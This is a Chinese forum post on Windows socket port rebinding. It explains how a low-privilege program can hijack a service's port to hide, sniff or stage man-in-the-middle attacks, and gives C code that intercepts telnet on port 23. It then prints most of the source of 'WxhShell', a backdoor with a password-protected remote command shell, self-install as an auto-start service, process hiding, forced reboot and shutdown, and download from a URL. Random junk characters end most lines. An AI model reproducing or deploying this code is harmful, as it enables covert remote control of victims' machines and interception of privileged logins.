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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LxMOs Nv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J :,  
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  saddr.sin_family = AF_INET; OY?uqP}c  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }p&aI?-B  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 654PW9{(  
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  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o6{XT.z5qx  
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  这意味着什么?意味着可以进行如下的攻击: 2b!b-  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4N*^%  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O  89BN6p  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _)^(-}(_D  
4CNK ]2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FSH6C2  
,m0=zH4+:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =#1/<q)L  
kV-a'"W5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W/J3sAYv  
xXLKL6F(\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 783a Z8  
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  #include SR8[ 7MU  
  #include igz&7U8gg  
  #include ab 2 V.S  
  #include    Z^#7&Pv0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [D /q%  
  int main() pW!]  
  { 6s>PZh  
  WORD wVersionRequested; /GCSC8T  
  DWORD ret; 3):7mE(  
  WSADATA wsaData; {>5c,L$  
  BOOL val; vW~_+:),e  
  SOCKADDR_IN saddr; X~W5Z(w(O  
  SOCKADDR_IN scaddr; A7ck-9dT/L  
  int err; #bf^Pq'8  
  SOCKET s; ~*G I<n  
  SOCKET sc; o'R_kadN[T  
  int caddsize; hydn" 9;  
  HANDLE mt; I7]45pF  
  DWORD tid;   r`6XF  
  wVersionRequested = MAKEWORD( 2, 2 ); nj)M$'  
  err = WSAStartup( wVersionRequested, &wsaData ); C%G-Ye|@  
  if ( err != 0 ) { gNe{P~ $=  
  printf("error!WSAStartup failed!\n"); !'n+0  
  return -1; |nMbf  
  } 4|x5-m+T  
  saddr.sin_family = AF_INET; ~d>O.*Q)  
   ]_5C5m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TS@EE&Wq  
wxvt:= =  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I%p Q2T$;  
  saddr.sin_port = htons(23); Rm6<"SLV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =OhhMAn  
  { XBi@\i=  
  printf("error!socket failed!\n"); vzs6YsA  
  return -1; Jtc?p{  
  } g5/8u2d  
  val = TRUE; .LV=Z0ja  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 33-=Z9|r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'g( R4deCX  
  { <XGOcekG  
  printf("error!setsockopt failed!\n"); XWk/S $-d  
  return -1; ^8E/I]-  
  } +)Z,%\)Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; | u36-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B*K%&w10~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [Fj h  
Y`\zLX"_m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l&5| =  
  { tz._*n83  
  ret=GetLastError(); =yfr{5}R  
  printf("error!bind failed!\n"); ;I]TM#qGF  
  return -1; <S TwylL  
  } '}LH,H:%G  
  listen(s,2); \fh.D/@  
  while(1) E70  
  { $Pl>T09d  
  caddsize = sizeof(scaddr); 7{/qQGL  
  //接受连接请求 B8;_h#^q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Zo'lvOpyZ  
  if(sc!=INVALID_SOCKET)  LBw,tP  
  { ,T"(97"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Sr%~ 5Q[W  
  if(mt==NULL) eBtkTWx5[/  
  { 2-UZ|y  
  printf("Thread Creat Failed!\n"); j^986  
  break; R0-ARq#0<  
  } SAly~(r?/  
  } 024*IoVZ  
  CloseHandle(mt); RhX 2qsva-  
  } 1b* dC;<  
  closesocket(s); k $3.FO"  
  WSACleanup(); irgjq/&d  
  return 0; 32YE%  
  }   s^js}9]p  
  DWORD WINAPI ClientThread(LPVOID lpParam) B_c(3n-"  
  { (;C_>EL&u  
  SOCKET ss = (SOCKET)lpParam; A7~)h}~   
  SOCKET sc; 'HPw5 L  
  unsigned char buf[4096]; a5]~%xdK  
  SOCKADDR_IN saddr; # |w,^tV  
  long num; Y13IrCA2  
  DWORD val; - stSl*  
  DWORD ret; ;bkS0Vmg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w[:5uo(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f5mk\^  
  saddr.sin_family = AF_INET; 69O?sIk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K31Fp;K  
  saddr.sin_port = htons(23); \`|,wLgH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QF!K$?EU[  
  { ft:/-$&H  
  printf("error!socket failed!\n"); C Hyb{:<  
  return -1; hFylQfd  
  } q35%t61Lc  
  val = 100; 8Bo'0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &{ntx~Eq  
  { >(:KEA  
  ret = GetLastError(); z4H!b+   
  return -1; jk) V[7P  
  } |~#!e}L(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pd>EUdbrp&  
  { )<-kS  
  ret = GetLastError(); O_(J',++  
  return -1; :m@(S6T m  
  } SYa!IL-B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3Mr)oM< Q  
  { /`:5#O  
  printf("error!socket connect failed!\n"); [4PG_k[uTJ  
  closesocket(sc); vJmE}  
  closesocket(ss); mbJ#-^}V  
  return -1; DV{Qbe#In  
  } AP/tBC eM  
  while(1) /!jn$4fd:  
  { l$)pCo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +#'exgGU^[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y4 P mL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &[23DrI8  
  num = recv(ss,buf,4096,0); }w"laZ*  
  if(num>0) Il*wVNrZI  
  send(sc,buf,num,0); %8hhk]m\b>  
  else if(num==0) !{r Gt`y  
  break; vseuk@>  
  num = recv(sc,buf,4096,0); LT:KZ|U9  
  if(num>0) Wa ,[#H  
  send(ss,buf,num,0); ]>*Z 1g;  
  else if(num==0) 4*F+-fu  
  break; *hFT,1WE=+  
  } <@@.~Qm'  
  closesocket(ss); gd/W8*NFR  
  closesocket(sc); UO>p-M  
  return 0 ; olQ;XTa01F  
  } o`hF1*yp  
'OkF.bs  
g%[lUxL  
========================================================== spd>.Cm`  
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下边附上一个代码,,WXhSHELL ]e)<CE2   
L[##w?Xf.  
========================================================== C!~&c7  
8 :Z3Q  
#include "stdafx.h" MP0gLi  
Sf lHSMFw  
#include <stdio.h> '0/t|V<  
#include <string.h> Jr 9\j3J{  
#include <windows.h> *.W ![%Be  
#include <winsock2.h> e9N"{kDs6  
#include <winsvc.h> gnx!_H\h<  
#include <urlmon.h> e"[o2=v;5  
X;ijCZb3b  
#pragma comment (lib, "Ws2_32.lib") TJ2$ Z  
#pragma comment (lib, "urlmon.lib") NfDg=[FN[  
ndW? ?wiM  
#define MAX_USER   100 // 最大客户端连接数 RzFv``g  
#define BUF_SOCK   200 // sock buffer NC@OmSR\0  
#define KEY_BUFF   255 // 输入 buffer Fag%#jxI  
^5j9WV  
#define REBOOT     0   // 重启 OpUC98p?@  
#define SHUTDOWN   1   // 关机 NR^z!+oSR  
` *h-j/M  
#define DEF_PORT   5000 // 监听端口 w*\)]bTs  
/< h~d  
#define REG_LEN     16   // 注册表键长度 hJ+>Xm@@!  
#define SVC_LEN     80   // NT服务名长度 U]d{hY."  
lUUeM\  
// 从dll定义API LIirOf~e;!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7 45Uo'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L%U-MOS=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zF3fpEKe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *siS4RX2  
:W-"UW,  
// wxhshell配置信息 $Rd74;edn  
struct WSCFG { yG2j!D  
  int ws_port;         // 监听端口 50Pz+:  
  char ws_passstr[REG_LEN]; // 口令 #3\F<AJ<VB  
  int ws_autoins;       // 安装标记, 1=yes 0=no >Vn;1|w  
  char ws_regname[REG_LEN]; // 注册表键名 /i"L@t)\t  
  char ws_svcname[REG_LEN]; // 服务名 7b \HbgZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^MKvZ DOP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?b:l.0m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '8}*erAg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bL]*K$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L6J=m#Ld  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T&fqn!i  
<Gr{h>b  
}; ^<.mUaP  
gj0gs  
// default Wxhshell configuration 7=aF-;X3jj  
struct WSCFG wscfg={DEF_PORT, {^1D|y  
    "xuhuanlingzhe", [wj&.I{^s  
    1, a=.A/;|0*  
    "Wxhshell", hwSn?bkw  
    "Wxhshell", jyb/aov  
            "WxhShell Service", b(wW;C'#0p  
    "Wrsky Windows CmdShell Service", \|L ~#{a  
    "Please Input Your Password: ", ^} %Oq P  
  1, %J5zfNe)&  
  "http://www.wrsky.com/wxhshell.exe", Dny5X.8  
  "Wxhshell.exe" {AoH  
    }; 2bPrND\P=  
:-fCyF)EI  
// 消息定义模块 t5\~Z}G8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BlF>TI%2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E=_M=5]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )[.FUx  
char *msg_ws_ext="\n\rExit."; <7~HG(ks  
char *msg_ws_end="\n\rQuit."; C4 H M  
char *msg_ws_boot="\n\rReboot..."; NldeD2~H  
char *msg_ws_poff="\n\rShutdown..."; +[<|TT  
char *msg_ws_down="\n\rSave to "; zWb>y  
}te\) Yk.N  
char *msg_ws_err="\n\rErr!"; "t$c'`  
char *msg_ws_ok="\n\rOK!"; l{[{pAm  
jjN ]*{s  
char ExeFile[MAX_PATH]; Rq-BsMX!A  
int nUser = 0; y'?ksow  
HANDLE handles[MAX_USER]; Q=}p P*  
int OsIsNt; fI9 TzpV  
-aK_  
SERVICE_STATUS       serviceStatus; "CI#2tnL7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \dO9nwa?  
.bE+dA6:v  
// 函数声明 > `R}ulz)  
int Install(void); 2R66 WK Q  
int Uninstall(void); >k)}R|tJ  
int DownloadFile(char *sURL, SOCKET wsh); aKkL0 D  
int Boot(int flag); 1S/KT4  
void HideProc(void); vPz$jeA  
int GetOsVer(void); d:cs8f4>  
int Wxhshell(SOCKET wsl); 5v >0$Y{  
void TalkWithClient(void *cs); 1$2'N~`#U  
int CmdShell(SOCKET sock); A Ch!D>C1  
int StartFromService(void); z UN&L7D  
int StartWxhshell(LPSTR lpCmdLine); \Ld/'Z;w  
dF$a52LS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FRqJ#yd]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6g06s @kz  
p B*8D  
// 数据结构和表定义 AJ1(q:P  
SERVICE_TABLE_ENTRY DispatchTable[] = `/$yCXy  
{ `}<x"f7.z  
{wscfg.ws_svcname, NTServiceMain}, /D2 cY>  
{NULL, NULL} E_k<EQ%r  
}; L@xag-b i  
^'9:n\SKQ  
// 自我安装 U-!+Cxjs  
int Install(void) .;nU" a3'  
{ [\+"<;m$  
  char svExeFile[MAX_PATH]; wtlIyE  
  HKEY key; 0*G =~:  
  strcpy(svExeFile,ExeFile); $3.hZx>  
u By[x 0  
// 如果是win9x系统,修改注册表设为自启动 kYMKVR  
if(!OsIsNt) { l`"i'P   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?5@!r>i=<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A9qbE  
  RegCloseKey(key); za$v I?ux  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 ,;;C(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -!w({rP  
  RegCloseKey(key); 7tbM~+<0  
  return 0; )> >Tj7  
    } LcL|'S)  
  } rZ[}vU/H`  
}  M18<d1*  
else { y8~/EyY|^  
pYXusS7S  
// 如果是NT以上系统,安装为系统服务 Qy< ~{6V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H$G`e'`OZ  
if (schSCManager!=0) 9&]g2iT P  
{ )P>-~G2P  
  SC_HANDLE schService = CreateService /O@TqH  
  ( UqsJ44QEZ  
  schSCManager, 6ooCg>9/Z  
  wscfg.ws_svcname, z#DgoA  
  wscfg.ws_svcdisp, oXW51ty  
  SERVICE_ALL_ACCESS, &:Mk^DH5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _o,Mji|  
  SERVICE_AUTO_START, $eqwn&$n  
  SERVICE_ERROR_NORMAL, c-s A?q#|  
  svExeFile, '#Yqs/V  
  NULL, PRTn~!Z0  
  NULL, Lt|'("($*  
  NULL, >v\t> [9t  
  NULL, <d`ksZ+  
  NULL )7`2FLG  
  ); xMOq/" )  
  if (schService!=0) A.[~}ywH  
  { 3Ql77?&k  
  CloseServiceHandle(schService); +c&oF,=}!P  
  CloseServiceHandle(schSCManager); {`KRr:w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J/T$.*X  
  strcat(svExeFile,wscfg.ws_svcname); = ^NTHc^*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V$OZC;4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P84uEDY  
  RegCloseKey(key); 3$TU2-x;g  
  return 0; D=>[~u3H  
    } !=/wpsH  
  } }4dbS ;C<  
  CloseServiceHandle(schSCManager); cM|!jnKm  
} 8? U!PW  
} :_0"t-  
bxXNv^  
return 1; r9\7I7z  
} sFrerv&0  
W08rGY  
// 自我卸载 iCZuE:I1K,  
int Uninstall(void) Q"(*SA+-|  
{ ' 5F3,/r  
  HKEY key; LtK= nK  
!XtZI3Xu  
if(!OsIsNt) { l(~i>iQ 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3<"!h1x5  
  RegDeleteValue(key,wscfg.ws_regname); p)k5Uh"  
  RegCloseKey(key); 3_ P<0%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mD"[z}r)  
  RegDeleteValue(key,wscfg.ws_regname); ]iq2_{q  
  RegCloseKey(key); C{<dzooz  
  return 0; Ug P  
  } eE0'3?q(  
} j8cXv  
} 3!*qB-d  
else { x o{y9VS  
FPC^-mD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UzKB"Q  
if (schSCManager!=0) ;i>(r;ZM  
{  &e%eIz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E=&":I6O  
  if (schService!=0) h(4&!x  
  { VLP'3 qX  
  if(DeleteService(schService)!=0) { \&,{N_G#L.  
  CloseServiceHandle(schService); ZQ)vvD<  
  CloseServiceHandle(schSCManager); t4H*&U  
  return 0; PFSh_9. q  
  } m2x=Qv][@c  
  CloseServiceHandle(schService); Evy_I+l  
  } k )=Gyv<  
  CloseServiceHandle(schSCManager); d&owS+B{48  
} M/5+AsT  
} % s),4  
]dd TH l  
return 1; `#c36  
} Bgf'Hm% r  
]q":ta!f  
// 从指定url下载文件 dml,|k=  
int DownloadFile(char *sURL, SOCKET wsh) x4Wu`-4^  
{ ~RU-N%Kn  
  HRESULT hr; A2p]BW&  
char seps[]= "/";  Uip-qWI  
char *token; UPGS/Xs]1  
char *file; MY>*F[~ 2  
char myURL[MAX_PATH]; GWCU 9n  
char myFILE[MAX_PATH]; "x4}FQ  
o56UlN  
strcpy(myURL,sURL); ,\'E<O2T  
  token=strtok(myURL,seps); 8k9q@FSln  
  while(token!=NULL) hEk0MY  
  { 4sM9~zC5  
    file=token; GbfA-\  
  token=strtok(NULL,seps); *OU&`\bmE  
  } R^Y>v5jAe  
qL2Sv(A Z!  
GetCurrentDirectory(MAX_PATH,myFILE); SG{&2G  
strcat(myFILE, "\\"); NhRKP"<CO  
strcat(myFILE, file); {D`_q|  
  send(wsh,myFILE,strlen(myFILE),0); XgPZcOzYB  
send(wsh,"...",3,0); C)(/NGf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v&3 Oc  
  if(hr==S_OK) |TQa=  
return 0; X(qs]:  
else W;^6=(&xn  
return 1; (3  ]!ZV  
4#&w-W  
} LLU]KZhtY|  
,#8H9<O9t  
// 系统电源模块 C%q]o  
int Boot(int flag) N/8_0]Gf  
{ #]}]ZE  
  HANDLE hToken; ~n{lu'SIX2  
  TOKEN_PRIVILEGES tkp; 1pJ?YV  
!~!\=etm  
  if(OsIsNt) { / 0y5/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J"?jaa2~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &]jCoBj+_  
    tkp.PrivilegeCount = 1; 5z@QAQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IiZXIG4H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b.mWB`59  
if(flag==REBOOT) { 9HG"}CGZP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +1>\o|RF  
  return 0; RWdx) qj{  
} m=qyPY  
else { qLk7C0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3 adF) mh  
  return 0; XT{o ]S~nq  
} [9,34/i  
  } =g<Yi2  
  else { fk'DJf[M  
if(flag==REBOOT) { M6:$ 0(r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jM;?);Dd  
  return 0; oRQ( l I>  
} IIUTo  
else {  Dac ,yW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dEK bB  
  return 0; R/ 3#(5  
} UmOK7SPi  
} #waK^B)<a  
T~)zgu%q_  
return 1; Azag*M?  
} [WBU _  
-|( q 9B  
// win9x进程隐藏模块 x4[ Fn3JL  
void HideProc(void) ]tc Cr;  
{ ~vstuRRST  
r)Fd3)e   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iuHs.k<z  
  if ( hKernel != NULL ) laA3v3*  
  { YfJQ]tt 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2/RW(U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _2rxDd1#.  
    FreeLibrary(hKernel); ^/"2s}+  
  } *@[N~:z/  
cPg$*,]  
return; w_9[y  
} U'Fc\M5l/l  
4<y|SI!  
// 获取操作系统版本 `!7QegJa"  
int GetOsVer(void) A =l1_8,`h  
{ c%x.cbu>  
  OSVERSIONINFO winfo; N3o kN8d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ( Y)a`[B  
  GetVersionEx(&winfo); 7,,#f&jP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;BjJ<?^{  
  return 1; Z$2Vd`XP  
  else Aj "SSX!L  
  return 0;  Sn-D|Z  
} uoe>T:  
0uO<7IW9  
// 客户端句柄模块 9<6Hs3|.!  
int Wxhshell(SOCKET wsl) O`FuXB(t  
{  cvO;xR  
  SOCKET wsh; VDC"tSQ  
  struct sockaddr_in client; un(fr7NW  
  DWORD myID; )kK" 1\m  
]_&pIBp  
  while(nUser<MAX_USER) rK r2 K'  
{ l527>7 eT  
  int nSize=sizeof(client); 5H |<h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (h>+ivf|  
  if(wsh==INVALID_SOCKET) return 1; WDQw)EUl&  
v m)'C C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q<!Kt I4  
if(handles[nUser]==0) v9+1[Y";  
  closesocket(wsh); a#i%7mfn  
else <n|.Z-gF\  
  nUser++; Dd$CN&Ca  
  } /S\y-M9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NZ?|#5 3  
:h)A/k_  
  return 0; .W q"  
} Trwk9 +  
M}W};~V2ng  
// 关闭 socket z]F4Z'(e.  
void CloseIt(SOCKET wsh) V0'_PR@;  
{ O4w:BWVsn  
closesocket(wsh); DC8,ns]!y  
nUser--; _HkB+D0v  
ExitThread(0); C*fSPdg?  
}  gC}D0l[  
SK_i 3?  
// 客户端请求句柄 W_z?t;  
void TalkWithClient(void *cs) ?{M!syD<  
{ =D6H?K-k!  
O`W&`B(*k  
  SOCKET wsh=(SOCKET)cs; 8ncgTCH:  
  char pwd[SVC_LEN]; zPT!Fa`  
  char cmd[KEY_BUFF]; ewb/ Z[4  
char chr[1]; 4yu ^cix(  
int i,j; (6S f#M  
2eh j2T  
  while (nUser < MAX_USER) { m+/-SG  
>4}2~;  
if(wscfg.ws_passstr) { wc5OK0|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r` T(xJ!)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n\Y|0\ B  
  //ZeroMemory(pwd,KEY_BUFF); Kzd`|+?'`M  
      i=0; 2o5v{W  
  while(i<SVC_LEN) { v|v^(P,o  
32*FISH^  
  // 设置超时 4f?Y'+>Z,  
  fd_set FdRead; n/3gx4.g  
  struct timeval TimeOut; De*Z UN|<  
  FD_ZERO(&FdRead); &G>EBKn\2`  
  FD_SET(wsh,&FdRead); wGC)gW  
  TimeOut.tv_sec=8; t $+46**  
  TimeOut.tv_usec=0; @Pc]qu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]d@@E_s]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $LF  
hL,+wJ+A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _~`\TS8  
  pwd=chr[0]; <k^P>Irb3t  
  if(chr[0]==0xd || chr[0]==0xa) { L:y} L  
  pwd=0; LyB$~wZx~@  
  break; t?0D*!D  
  } U$`)|/8  
  i++; 2dr[0tE  
    } 6 1Nj&1Ze  
h !~u9  
  // 如果是非法用户,关闭 socket rZy38Wo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w 1E}F  
} C'hI{4@P  
/AR;O4X+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?zKVXK7}0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TIV1?S  
)T:{(v7 d`  
while(1) { [ed%"f  
G^F4c{3c~  
  ZeroMemory(cmd,KEY_BUFF); Tv0|e'^  
l|Zw Zix  
      // 自动支持客户端 telnet标准   Jr18faEZw  
  j=0; 7;C9V`  
  while(j<KEY_BUFF) { ,sk;|OAI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !b*lL#s,Y  
  cmd[j]=chr[0]; ? kew[oZ  
  if(chr[0]==0xa || chr[0]==0xd) { 8 F'i5i  
  cmd[j]=0; L;xc,"\3  
  break; XQ<2(}]4  
  } I C9:&C[  
  j++; | zj$p~  
    } f{lg{gA(  
J?-"]s`J  
  // 下载文件 A==P?,RG  
  if(strstr(cmd,"http://")) { !>/U6h,_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |Gjd  
  if(DownloadFile(cmd,wsh)) K$Y!d"D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mqk~Pno|<  
  else uj&^W[s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nm<3bd  
  } /yIkHb^c   
  else { mY.[AIB  
-) $$4<L  
    switch(cmd[0]) { 3bpbk  
  au5 74tj  
  // 帮助 _p7c<$ ;  
  case '?': { !:`QX\Ux  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %Md;=,a:6  
    break; 1bd(JL  
  } ?D\6CsNp(2  
  // 安装 ]BCH9%zLj  
  case 'i': { S'V0c%'QQV  
    if(Install()) B4GgR,P@S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @y9_\mX!s  
    else "VkraB.i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ve7[U_"  
    break; T\b e(@r  
    } eqs.zL  
  // 卸载 }9>W41  
  case 'r': { O~-#>a  
    if(Uninstall()) j* g5f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E@R7b(:*  
    else qJVW :$1q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W:b8m Xx  
    break; .!,T> :R  
    } Z|uUE   
  // 显示 wxhshell 所在路径 A"#Gg7]tl'  
  case 'p': { Yc/rjEn7O  
    char svExeFile[MAX_PATH]; hFZ7{pj  
    strcpy(svExeFile,"\n\r"); L$l'wz  
      strcat(svExeFile,ExeFile); EG59L~nM  
        send(wsh,svExeFile,strlen(svExeFile),0); br>"96A1l  
    break; P$N\o@  
    } OYgD9T.8^  
  // 重启 d"Hh9O}6  
  case 'b': {  EP'2'51  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8"LvkN/v^  
    if(Boot(REBOOT)) -2w\8]u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R.!'&<Svq  
    else { 8{@|M l  
    closesocket(wsh); :U0z;  
    ExitThread(0); I/<aY*R4  
    } w8kp6_i'  
    break; GG5wiN*2S  
    } pz6fL=Xd  
  // 关机 nxKV7d@R  
  case 'd': { X.}:gU-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hoD (G X  
    if(Boot(SHUTDOWN)) tVvRT*>Wb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9h<];  
    else { BEx? bf@|]  
